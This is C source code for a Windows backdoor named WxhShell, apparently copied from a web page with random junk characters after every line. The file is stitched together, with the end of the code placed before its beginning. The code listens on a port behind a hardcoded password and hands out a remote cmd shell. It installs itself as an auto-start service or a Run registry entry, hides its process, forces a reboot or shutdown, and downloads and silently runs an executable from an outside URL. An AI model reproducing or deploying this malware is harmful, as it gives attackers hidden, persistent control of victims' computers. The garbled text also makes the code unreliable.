    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?PuBa`zDE  
    if(Boot(SHUTDOWN)) '}ptj@,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kJ'!r  
    else { :;t:H] f  
    closesocket(wsh); 0gW"i&7c  
    ExitThread(0); q6McGHT  
    } &N2N6&Ta/  
    break; @Q)OGjaq  
    } @'#,D!U  
  // 获取shell UdT *E: 6  
  case 's': { %a>&5V  
    CmdShell(wsh); o |{5M|nD  
    closesocket(wsh); \tf <B\oa  
    ExitThread(0); !`Fxa4i>  
    break; 1F5XvQl  
  } cM(:xv  
  // 退出 OcR$zlgs[v  
  case 'x': { 5;tD"/nz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s 1 A.+  
    CloseIt(wsh); pA'4|ffwe  
    break; q(  
    } bkOv2tZ  
  // 离开 y`<*U;xL  
  case 'q': { a@_4PWzF:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z`.<U{5  
    closesocket(wsh); ,`'Qi%O  
    WSACleanup(); Bd!bg|uO*  
    exit(1); -o ^7r@6  
    break; l.67++_  
        } 8zZvht*  
  } du<tGsy  
  } EaO6[E  
R3 -n>V5o  
  // 提示信息 nD_GL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ak7bJ~)X=  
} lEH65;Nh*  
  } Z+*9#!?J  
Y z<3JRw  
  return; XQY#716)  
} v"y-0$M  
w#ZoZZ wh  
// shell模块句柄 ;"a=gr  
int CmdShell(SOCKET sock) a!zz6/q[  
{ 1h^:[[!c  
STARTUPINFO si; iowTLq!?  
ZeroMemory(&si,sizeof(si)); ux=w!y;}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RVZ")Z(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D>7_P7]y  
PROCESS_INFORMATION ProcessInfo; ~)ut"4  
char cmdline[]="cmd"; Lt'FA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =(]yl_  
  return 0; p;nRxi7'  
} 6l Suzu  
dV/ ^@[  
// 自身启动模式 r@WfZ  Z  
int StartFromService(void) _z6_mmMp  
{ $c^,TAN  
typedef struct eHX;*~e6)  
{ #E`wqI\'  
  DWORD ExitStatus; 85e!)I_  
  DWORD PebBaseAddress; ]7|Zs]6  
  DWORD AffinityMask; pc+'/~  
  DWORD BasePriority; bf4QW JZD  
  ULONG UniqueProcessId; >^!)G^B  
  ULONG InheritedFromUniqueProcessId; BQo$c~  
}   PROCESS_BASIC_INFORMATION; .:wo ARW!  
*@+E82D  
PROCNTQSIP NtQueryInformationProcess; nNc>nB1  
eVRPjVzQ'Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Crg@05Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #ULjK*)R  
j 3t,Cx  
  HANDLE             hProcess; woyn6Z1JQ  
  PROCESS_BASIC_INFORMATION pbi; L9} %tEP  
<>71;%e;'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tX.fbL@ T  
  if(NULL == hInst ) return 0; ` zoC++hx  
T8t_+| ( G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  I?R?rW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SoJ=[5W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4N K{RN3  
Ge_Gx*R  
  if (!NtQueryInformationProcess) return 0; -\I".8"YE  
E{8-VmY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <FofRFaS  
  if(!hProcess) return 0; yM PZ}  
ZNUSHxA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P9f,zM-  
o,yZ1"  
  CloseHandle(hProcess); YZ(tjIgQ  
J#) %{k_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Y$@$)   
if(hProcess==NULL) return 0; 4?',E ddo  
\R|qXB $  
HMODULE hMod; I&Z+FL&@f  
char procName[255]; AAc*\K  
unsigned long cbNeeded; (yO8G-Z0  
"QLp%B,A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L43]0k  
@g%^H)T  
  CloseHandle(hProcess); =@*P})w5.  
J`'wprSBb  
if(strstr(procName,"services")) return 1; // 以服务启动 n eBcS[  
!.c no&  
  return 0; // 注册表启动 VK[`e[.C  
} $*qQ/hi  
ojbms>a  
// 主模块 K06x7W  
int StartWxhshell(LPSTR lpCmdLine) %(ms74R+  
{ '9tV-whw  
  SOCKET wsl; /#Lm)-%G  
BOOL val=TRUE; ?656P=b)  
  int port=0; Y*-dUJK-`  
  struct sockaddr_in door; f5P@PG]{  
|0$7{nQ  
  if(wscfg.ws_autoins) Install(); z|v/h UrD  
!n`Y^  
port=atoi(lpCmdLine); Gq =i-I  
[W Ud9fUL  
if(port<=0) port=wscfg.ws_port; 2B[I- K s  
d37|o3oC  
  WSADATA data; 9/dI 6P7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H]PEE!C;xC  
Psw<9[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .mvpFdn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;t \C!A6  
  door.sin_family = AF_INET; "W@>lf?"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UE 1tm  
  door.sin_port = htons(port); eD)@:K  
h"4i/L3aAh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qrkJ:  
closesocket(wsl); wvPS0]  
return 1; y1t,i. [  
} GEJy?$9   
dw3H9(-lp  
  if(listen(wsl,2) == INVALID_SOCKET) { k[8{N  
closesocket(wsl); <]'1YDA  
return 1; dH~i  
} jPmp=qg"q  
  Wxhshell(wsl); "#=WD  
  WSACleanup(); QRz5eGpW  
cjc1iciZ  
return 0; ;bYLQ  
L%31>)8  
} Qt"i  
PGJkQsp0  
// 以NT服务方式启动 9IJc9Sv(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r(p@{L185  
{ 3u&)6C?YM  
DWORD   status = 0; x2Dg92  
  DWORD   specificError = 0xfffffff; ldRisL  
68nBc~iAm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UU  DZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :\IZ-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O%m>4OdH  
  serviceStatus.dwWin32ExitCode     = 0; df7 xpV  
  serviceStatus.dwServiceSpecificExitCode = 0; Ry"N_Fb  
  serviceStatus.dwCheckPoint       = 0; fB`7f $[  
  serviceStatus.dwWaitHint       = 0; +a74] H"  
:za:gs0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r 9whW;"q  
  if (hServiceStatusHandle==0) return; hg+0!DVx  
3AcCa>  
status = GetLastError(); ` l}+BI`4  
  if (status!=NO_ERROR) )|IMhB+4  
{ +uB.)wr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {]3Rk  
    serviceStatus.dwCheckPoint       = 0; [Q:mLc  
    serviceStatus.dwWaitHint       = 0; *L=F2wW  
    serviceStatus.dwWin32ExitCode     = status; xL\R-H^c]  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ue!~|:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n--w-1  
    return; ,xuA%CF-S  
  } u8Oo@xf0Fr  
U_ *K%h\m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >NAg*1  
  serviceStatus.dwCheckPoint       = 0; @%4tWE  
  serviceStatus.dwWaitHint       = 0; k8O%gO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M}qrF~   
} TY]-L1$  
`xie/  
// 处理NT服务事件,比如:启动、停止 4NRG{FZ9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GCv*a[8?n  
{ mH5[(?   
switch(fdwControl) fSw6nEXn  
{ be+tAp`  
case SERVICE_CONTROL_STOP: QRAw#  
  serviceStatus.dwWin32ExitCode = 0; X'.*I])  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WzdE XcY  
  serviceStatus.dwCheckPoint   = 0; 2pV@CT  
  serviceStatus.dwWaitHint     = 0; }e4#Mx  
  { <v[UYvZvY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]97`=,OUg  
  } ))eQZ3ap9  
  return; 2sOetmWE7  
case SERVICE_CONTROL_PAUSE: {p)=#Jd`.P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m1,yf*U  
  break; CT#u+]T  
case SERVICE_CONTROL_CONTINUE: b,o@ m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -:!FQ'/7E  
  break; ~pve;(e=  
case SERVICE_CONTROL_INTERROGATE: X@up=%(  
  break; Nd;,Wz]  
}; OYayTKxN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PBY ^m+  
} v5g]_v*F  
3v@Y"I3;  
// 标准应用程序主函数 :9f/d;Mo3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y)#=8oci  
{ uZkh.0yB  
x>*#cOVz;C  
// 获取操作系统版本 3,$G?auW  
OsIsNt=GetOsVer(); Hsvu&>[`S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HYWKx><   
~$:=hT1  
  // 从命令行安装 $5S/~8g(  
  if(strpbrk(lpCmdLine,"iI")) Install(); oH]"F  
-9@/S$i  
  // 下载执行文件 rWnZIt"  
if(wscfg.ws_downexe) { !K5D:x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =VPJ m\*V  
  WinExec(wscfg.ws_filenam,SW_HIDE); @-H D9h  
} 'Nn>W5#))  
} D0Y8  
if(!OsIsNt) { fkW TO"f-  
// 如果时win9x,隐藏进程并且设置为注册表启动 mjXO}q7  
HideProc(); iqh"sx{5bp  
StartWxhshell(lpCmdLine); $ ";NS6 1  
} ,!'L~{  
else  %3A~&  
  if(StartFromService()) 04wO9L;  
  // 以服务方式启动 H<wrusRg  
  StartServiceCtrlDispatcher(DispatchTable); cBz_L"5vr[  
else kjOPsz*0  
  // 普通方式启动 ,)](h+zl_6  
  StartWxhshell(lpCmdLine); A57e]2_  
.GH#`j  
return 0; +ZU@MOni  
} ?PSVVU q,Z  
[S#QGB19  
9m:G8j'  
u&\QZW?  
=========================================== UYW{A G2C  
[H&Z / .{F  
qp)a`'Pq  
2,.;Mdl  
JC}oc M j0  
Al1BnFB  
" 9Vh>ty1|_  
>y7|@'V[v0  
#include <stdio.h> IQya{e  
#include <string.h> u/g4s (a  
#include <windows.h> U{%N.4:   
#include <winsock2.h> ZB@Bj>,b p  
#include <winsvc.h> [>y0Xf9^  
#include <urlmon.h> \yNe5  
oGa8#>  
#pragma comment (lib, "Ws2_32.lib") bL9EX$P  
#pragma comment (lib, "urlmon.lib") yB~` A>~M  
_}RzJKl@  
#define MAX_USER   100 // 最大客户端连接数 *4oj' }  
#define BUF_SOCK   200 // sock buffer Fy'/8Yv#L  
#define KEY_BUFF   255 // 输入 buffer &9:"X  
@& vtY._  
#define REBOOT     0   // 重启 ^:F |2  
#define SHUTDOWN   1   // 关机 @ %}4R`S0  
c4AkH|  
#define DEF_PORT   5000 // 监听端口 K)!Nf.r$9  
~DJ>)pp  
#define REG_LEN     16   // 注册表键长度 knU=#  
#define SVC_LEN     80   // NT服务名长度 S+7:fu2?+  
\gE6KE<?p  
// 从dll定义API nC;2wQ6aO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p[Yja y+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L dyTB@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0-!K@#$>=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /18VQ  
3xU in  
// wxhshell配置信息 4gRt^T-?  
struct WSCFG { @=kDaPme92  
  int ws_port;         // 监听端口 UNB'Xjp}@  
  char ws_passstr[REG_LEN]; // 口令 D3BNA]P\2@  
  int ws_autoins;       // 安装标记, 1=yes 0=no }VUrn2@-4  
  char ws_regname[REG_LEN]; // 注册表键名 b9(_bsc  
  char ws_svcname[REG_LEN]; // 服务名 N-g=_86C"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a?]"|tQ'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xct{Tv[FO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]*M-8_D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hi{1C"%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Gk?f=e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }#3'72  
v|r=}`k=  
}; 9]DMHA@  
4Sq[I  
// default Wxhshell configuration |*w}bT(PfR  
struct WSCFG wscfg={DEF_PORT, ",hPy[k  
    "xuhuanlingzhe", @D3Y}nR:  
    1, vA r fsgk  
    "Wxhshell", E>}(r%B  
    "Wxhshell", ^lp#j;Df  
            "WxhShell Service", v9t26>{~  
    "Wrsky Windows CmdShell Service", G; *jL4  
    "Please Input Your Password: ", (<"uV%1  
  1, BcfW94  
  "http://www.wrsky.com/wxhshell.exe", `<z"BGQ  
  "Wxhshell.exe" TI9]v(  
    }; {H5a.+-(bE  
0"vI6Lm  
// 消息定义模块 g{_wMf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `=zlS"dQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hPP,D\#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Br,^4w[Hq  
char *msg_ws_ext="\n\rExit."; M'n2j  
char *msg_ws_end="\n\rQuit."; ~T{^7"q\  
char *msg_ws_boot="\n\rReboot..."; {-T}"WHg7  
char *msg_ws_poff="\n\rShutdown..."; _Prh&Q1zs  
char *msg_ws_down="\n\rSave to "; `k 5'nnyP  
QQnpy.`:/  
char *msg_ws_err="\n\rErr!"; m~#f L  
char *msg_ws_ok="\n\rOK!"; kma)DW  
M_+"RKp  
char ExeFile[MAX_PATH]; R8*z}xy{  
int nUser = 0; 7H+IW4Ma  
HANDLE handles[MAX_USER]; vH^6O:V  
int OsIsNt; $E j;CN59  
TspuZR@2  
SERVICE_STATUS       serviceStatus; 8$+mST'4N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *u i!|;  
gyz#:z$p^  
// 函数声明 3u)NkS=  
int Install(void); w=ib@_:f  
int Uninstall(void); _DlX F  
int DownloadFile(char *sURL, SOCKET wsh); x e~lV  
int Boot(int flag); T ke3X\|  
void HideProc(void); JBYmy_Su  
int GetOsVer(void); g?e$B}%  
int Wxhshell(SOCKET wsl); t==CdCl  
void TalkWithClient(void *cs); 1kd\Fq^z$  
int CmdShell(SOCKET sock);  rk F>c  
int StartFromService(void); b.LMJ'1  
int StartWxhshell(LPSTR lpCmdLine); {Tps3{|wt  
W7F1o[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p>g5WebBN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OzVCqq"]  
)2tDX=D  
// 数据结构和表定义 wb#ZRmx}  
SERVICE_TABLE_ENTRY DispatchTable[] = ,[} XK9  
{ /tG0"1{  
{wscfg.ws_svcname, NTServiceMain}, 8l?mNapy  
{NULL, NULL} StuQ}  
}; D <16m<b  
.qN|.:6a  
// 自我安装 wX!q dII)  
int Install(void) ~yGD("X  
{ _5t~g_(1OK  
  char svExeFile[MAX_PATH]; R/_bk7o]H  
  HKEY key; [1LlzCAFBw  
  strcpy(svExeFile,ExeFile); !nBE[&  
u/I|<NAC,  
// 如果是win9x系统,修改注册表设为自启动 dHzQAqb8J  
if(!OsIsNt) { Ao0p=@Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *N C9S,eSP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D(' w<9.  
  RegCloseKey(key); iF_#cmSy$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `GBa3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YQH=]5r  
  RegCloseKey(key); K&\ q6bU  
  return 0; RZ6[+Ygn  
    } I1a>w=x!+  
  } uZg[PS=@!X  
} _s1pif  
else { wm'a)B?  
1GaM!OC9  
// 如果是NT以上系统,安装为系统服务 mw\ z'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9tMaOm  
if (schSCManager!=0) 6H#4iMeh  
{ F=B[%4q`%  
  SC_HANDLE schService = CreateService fK0VFN8<I  
  ( w|k?2 ?&  
  schSCManager, mr 6~8 I  
  wscfg.ws_svcname, Z]QpH<Z  
  wscfg.ws_svcdisp, t)i{=8 rq  
  SERVICE_ALL_ACCESS, j6JK4{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ld7B!_b<  
  SERVICE_AUTO_START, *3Vic  
  SERVICE_ERROR_NORMAL, Nueb xd  
  svExeFile, 1Mtm?3Pt  
  NULL, q;)+O#CR  
  NULL, 4ZX6=-u^  
  NULL, QMz6syn4u  
  NULL, \Zgc [F  
  NULL :kU-ol$  
  ); rP7[{'%r  
  if (schService!=0) (*K=&e0O  
  { # h/#h\  
  CloseServiceHandle(schService); n9w(Z=D\  
  CloseServiceHandle(schSCManager); .,9e~6}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <b,oF]+;z  
  strcat(svExeFile,wscfg.ws_svcname); \Qgc7ev  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <y4WG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0#d:<+4D  
  RegCloseKey(key); XH`W(  
  return 0; B*3<(eI  
    } 9sI&&Jg  
  } <Rb[0E$  
  CloseServiceHandle(schSCManager); 1zP)~p3a  
} <Crbc$!OeX  
} ~ubcD6f  
h6(\ tRd!\  
return 1; yW)&jZb"(  
} /7CV7=^d,  
DfsPg':z  
// 自我卸载 }HKt{k&$  
int Uninstall(void) JGRL&MG4  
{ J P1XH k  
  HKEY key; !K%8tr4   
)7jJ3G*  
if(!OsIsNt) { 8JFvz(SK>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;ipT0*Y  
  RegDeleteValue(key,wscfg.ws_regname); >>b <)?3Rv  
  RegCloseKey(key); uf/4vz,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @d1YN]ede  
  RegDeleteValue(key,wscfg.ws_regname); MfU0*nVF~  
  RegCloseKey(key); 8fSY@  
  return 0; ' 5xvR G  
  } kc7,F2=F  
} ) -^(Su(!  
} bn#'o(Lp  
else { \n<9R8g5  
eq6>C7.$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :lBw0{fP  
if (schSCManager!=0) $}8@?>-w  
{ [aF"5G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WI6h G  
  if (schService!=0) BS|$-i5L  
  { Qv}TUX4  
  if(DeleteService(schService)!=0) { ^5n#hSqZ=M  
  CloseServiceHandle(schService); ]RxJ^'a63  
  CloseServiceHandle(schSCManager); .2{*>Dzi  
  return 0; 7tP qez#  
  } ;Qi0j<dXd  
  CloseServiceHandle(schService); {l9gYA  
  } V.-cm51I  
  CloseServiceHandle(schSCManager); hlBMRx49  
} M3VTzwuf^S  
} z)ndj 1,#)  
< #zd]t  
return 1; 3jx/1VV  
} 1$)}EL   
q|sT4} =  
// 从指定url下载文件 ]NyN@9u@(  
int DownloadFile(char *sURL, SOCKET wsh) Yq>K1E|  
{ k![oJ.vHD  
  HRESULT hr; t"nxny9&  
char seps[]= "/"; gE9x+g  
char *token; T,9pd;k  
char *file; }z F,dst  
char myURL[MAX_PATH]; *M-'R*Np  
char myFILE[MAX_PATH]; UCo`l~K)qg  
$/crb8-C  
strcpy(myURL,sURL); "$.B@[iY@  
  token=strtok(myURL,seps); '<U4D  
  while(token!=NULL) +xS<^;   
  { +45.fo  
    file=token; +`7!4gxwK!  
  token=strtok(NULL,seps); a$3] `  
  } a Z8f>t1Q  
k'NP+N<M  
GetCurrentDirectory(MAX_PATH,myFILE); ~U4Cf >  
strcat(myFILE, "\\"); (QS 0  
strcat(myFILE, file); 6a704l%#hb  
  send(wsh,myFILE,strlen(myFILE),0); OkMAqS  
send(wsh,"...",3,0); bO* hmDt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3X#Cep20a  
  if(hr==S_OK) 8Oa+,?<0x  
return 0; X!6$<8+1OV  
else u%5 ,U-  
return 1; ?DE{4Ti/[  
LbuhKL}VN  
} kDG?/j90D  
IdCE<Oj\  
// 系统电源模块 ]*D~>q"#\  
int Boot(int flag) y+ 4#Iy  
{ ?:6w6GwAA  
  HANDLE hToken; b3ys"Vyn  
  TOKEN_PRIVILEGES tkp; fg/hUUl  
Mp(;PbVD  
  if(OsIsNt) { m95] z18T'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :jJ0 +Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T%A"E,#  
    tkp.PrivilegeCount = 1;  & [ ,*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2t?Vl%<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `O!yt  
if(flag==REBOOT) { fNV-_^,R9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]MC5 uKn  
  return 0; 8@ f+?g*i  
} X<H{  
else { R[rOzoNp0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qfRrX"  
  return 0; ^a$L9p(  
} xEv?2n@A  
  } u4'B  
  else { Tfx-h)oP3  
if(flag==REBOOT) { C}ASVywc,1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^V7)V)Z;0  
  return 0; 1~E;@eK'  
} 6!8uZ>u%Vg  
else { |v<4=/.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !}sF#  
  return 0; wh!8\9{g  
} )P,pW?h$  
} :  @$5M  
P.jy7:dB,  
return 1; .HRd6O;  
} Htfq?\ FD  
umt`0m. :  
// win9x进程隐藏模块 /B|"<`-H  
void HideProc(void) TmK8z  
{ m}]QP\  
V{ ~~8b1E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H%Z;Yt8^gt  
  if ( hKernel != NULL ) %cJdVDW`L  
  { c[$i )\0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Fe=:q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]:m4~0^#-(  
    FreeLibrary(hKernel); GIfs]zVr`  
  } 16Jjf|]j  
5DO}&%.xt  
return; {bG.X?b  
} 4q(,uk&R[  
j,Qb'|f5  
// 获取操作系统版本 "!uS!BI?  
int GetOsVer(void) :a:m>S<~  
{ t~.^92]s|  
  OSVERSIONINFO winfo; 6q7jI )l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !& >LLZ  
  GetVersionEx(&winfo); r{_1M>F D!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c8HETs1  
  return 1; {hm-0Q  
  else _X@ Q`d  
  return 0; RWoVN$i>  
} e@& 2q{Gi=  
Q5u3~Q'e  
// 客户端句柄模块 ABL5T-*]  
int Wxhshell(SOCKET wsl) 5HTY ~&C  
{ #-{ljjMQI  
  SOCKET wsh; +ZV?yR2yn  
  struct sockaddr_in client; W .Al\!Gi  
  DWORD myID; <y"lL>JR  
ju4wU; Nu  
  while(nUser<MAX_USER) }uO2 x@  
{ T+FlN-iy)  
  int nSize=sizeof(client); @V+KL>Qw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =/4}!B/  
  if(wsh==INVALID_SOCKET) return 1; +eop4 |Z  
:U]Pm:ivTU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .TNJuuO  
if(handles[nUser]==0) >feeVk  
  closesocket(wsh); c:s[vghH^#  
else RER93:(  
  nUser++; Ie8SPNY-H  
  } O<XNI(@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W#wC  
cCIs~*D  
  return 0; $c LZ,N24  
} E.^u:0:P  
XHY,;4  
// 关闭 socket W=2]!%3#  
void CloseIt(SOCKET wsh) s5X51#J#~  
{ zCu+Oi6  
closesocket(wsh); Qr?(2t#  
nUser--; P%<MQg|k`  
ExitThread(0); {P%\& \{F  
} 59?$9}ob  
|voZ0U  
// 客户端请求句柄 "<"s&ws;k  
void TalkWithClient(void *cs) C4|79UG>s  
{ 3v)`` n@  
c{jTCkzq  
  SOCKET wsh=(SOCKET)cs; >-(,BfZ  
  char pwd[SVC_LEN]; $tK/3  
  char cmd[KEY_BUFF]; 2}5@: cwR+  
char chr[1]; 'jKCAU5/0;  
int i,j; ,~NJ}4wP  
@X_)%Y-^O  
  while (nUser < MAX_USER) { 1\5po^Oioy  
tpP68)<ns  
if(wscfg.ws_passstr) { 'tVe#oI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qc6d,z/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qi8~bQ{rH  
  //ZeroMemory(pwd,KEY_BUFF); Pa ^_ s  
      i=0; a3:1`c/~\  
  while(i<SVC_LEN) { yeV|j\TJI.  
lK#uya g  
  // 设置超时 `QT9W-0e^  
  fd_set FdRead; jf& oN]sZ  
  struct timeval TimeOut; s6I/%R3  
  FD_ZERO(&FdRead); tCu9 D  
  FD_SET(wsh,&FdRead); Oq 95zo  
  TimeOut.tv_sec=8; PxJvE*6^H  
  TimeOut.tv_usec=0; IZxr;\dq6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .L_ Hk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CW~c<,"  
oCB#i~|>a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t>"|~T$9  
  pwd=chr[0]; gq+#=!(2  
  if(chr[0]==0xd || chr[0]==0xa) { &lB>G[t  
  pwd=0; p$6L_ *$  
  break; kyUG+M  
  } a,[NcdG  
  i++; 6H|&HV(!R  
    } 'Y>@t6E4  
q}J Eesf  
  // 如果是非法用户,关闭 socket GUsJF;;V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8|rlP  
} 4HyD=6V#  
"D ivsq^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YU1z\pK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -M`+hVs?  
qWI8 >my11  
while(1) { )'`@rq!  
DcZ,a E]  
  ZeroMemory(cmd,KEY_BUFF); 6+yA4pRSd  
V"|j Dnn5  
      // 自动支持客户端 telnet标准   \-:4TuU  
  j=0; X1%_a.=VF  
  while(j<KEY_BUFF) { ^+9i~PjL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HO39>:c  
  cmd[j]=chr[0]; M}9PicI?7  
  if(chr[0]==0xa || chr[0]==0xd) { ?/Z5%?6  
  cmd[j]=0; 7]8apei|  
  break; i7xBi:Si  
  } k)S'@>n{u  
  j++; 5f#]dgBe  
    } Ba;tEF{X  
r1|;V~ a$~  
  // 下载文件 ~ 6Hi"w  
  if(strstr(cmd,"http://")) { P64< O 5l/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,a} vx"~  
  if(DownloadFile(cmd,wsh)) &fgfCZz'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e>$E67h<~  
  else XE : JL_  
